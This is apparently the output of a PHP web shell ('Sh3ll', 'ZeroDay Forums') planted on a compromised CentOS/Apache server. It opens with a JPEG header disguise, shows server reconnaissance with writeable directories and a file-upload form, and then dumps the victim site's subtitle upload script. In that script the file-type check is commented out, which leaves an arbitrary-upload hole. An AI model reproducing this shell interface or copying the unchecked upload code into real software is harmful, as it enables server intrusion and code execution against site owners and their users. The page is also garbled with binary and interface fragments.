ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/admin_new/mod/subtitle.php
<?php
use \ForceUTF8\Encoding;
use Done\Subtitles\Subtitles;

class subtitle{
    var $path_image	= "upload/subtitle/";
    var $max_fsize	=  1500000;//1,5M
    function subtitle(){
        global $CORE;
        switch($CORE->input['code']){
            default : $this->goList(); break;
        }
    }

    function goList(){
        global $CORE, $smarty,$func, $print;
        $smarty->assign('module_name','Quản lý subtitle');
        $smarty->assign('title','Subtitle');
        if(isset($CORE->input['submitbt'])){



            $folder2 = date('m-Y',time());
            if(!is_dir("../upload/subtitle/".$folder2."/")) {
                mkdir("../upload/subtitle/".$folder2."/");
            }
            if(count($_FILES['filesToUpload'])) {
                $txt_file = '';
                /*foreach ($_FILES['filesToUpload'] as $key=>$val) {
                   if($key=='name'){
                       foreach ($val as $key2=>$val2){
                           $ext = $func->get_file_extension($val2);
                           if($ext!='vtt'){
                               echo $val2 .' must vtt ';
                               exit();
                           }
                           $_FILES['filesToUpload']['name'][$key2] = uniqid().'-'.time().'.'.$ext;
                       }
                   }
                }*/
                //$subtitles = new Subtitles();
                foreach ($_FILES['filesToUpload'] as $key=>$val) {
                    if($key=='name'){
                        foreach ($val as $key2=>$val2){
                            $ext = $func->get_file_extension($val2);
                            $_FILES['filesToUpload']['name'][$key2] = uniqid().'-'.time().'.'.$ext;
                        }
                    }
                    if($key=='tmp_name'){
                        foreach ($val as $key2=>$val2){
                            $file_upload = '../upload/subtitle/'.$folder2.'/'.$_FILES['filesToUpload']['name'][$key2];
                            if(move_uploaded_file($val2, $file_upload)){
                                if($ext!='vtt'){
                                    //$utf8_string = Encoding::fixUTF8(file_get_contents($file_upload));
                                    $str = file_get_contents($file_upload);
                                    $enc = mb_detect_encoding($str, mb_list_encodings(), true);
                                    if ($enc===false){
                                        //could not detect encoding
                                        exit('could not detect encoding <a href="index.php?act=subtitle">back</a>');
                                    }else if ($enc!=="UTF-8"){
                                        exit('not utf-8 <a href="index.php?act=subtitle">back</a>');
                                    }else {
                                    }

                                    $file_upload_convert = str_replace('.'.$ext,'.vtt',$file_upload);

                                    Subtitles::convert($file_upload, $file_upload_convert);
                                    @unlink($file_upload);
                                    $txt_file .= str_replace('../','',$file_upload_convert).'@';
                                }else {
                                    $txt_file .= str_replace('../', '', $file_upload) . '@';
                                }
                            }
                        }
                    }
                }
                $txt_file = $func->remove_lastchar($txt_file,1);
                $smarty->assign('txt_file',$txt_file);
            }
        }

    }




}
$run = new subtitle();
?>

ZeroDay Forums Mini